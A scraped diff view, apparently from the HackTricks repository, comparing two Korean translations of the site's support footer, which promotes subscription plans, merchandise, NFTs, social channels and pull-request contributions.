다른 방법으로 HackTricks를 지원하는 방법:
|
||||||
|
|
||||||
* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family) 컬렉션을 발견하세요.
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
Loading…
Reference in a new issue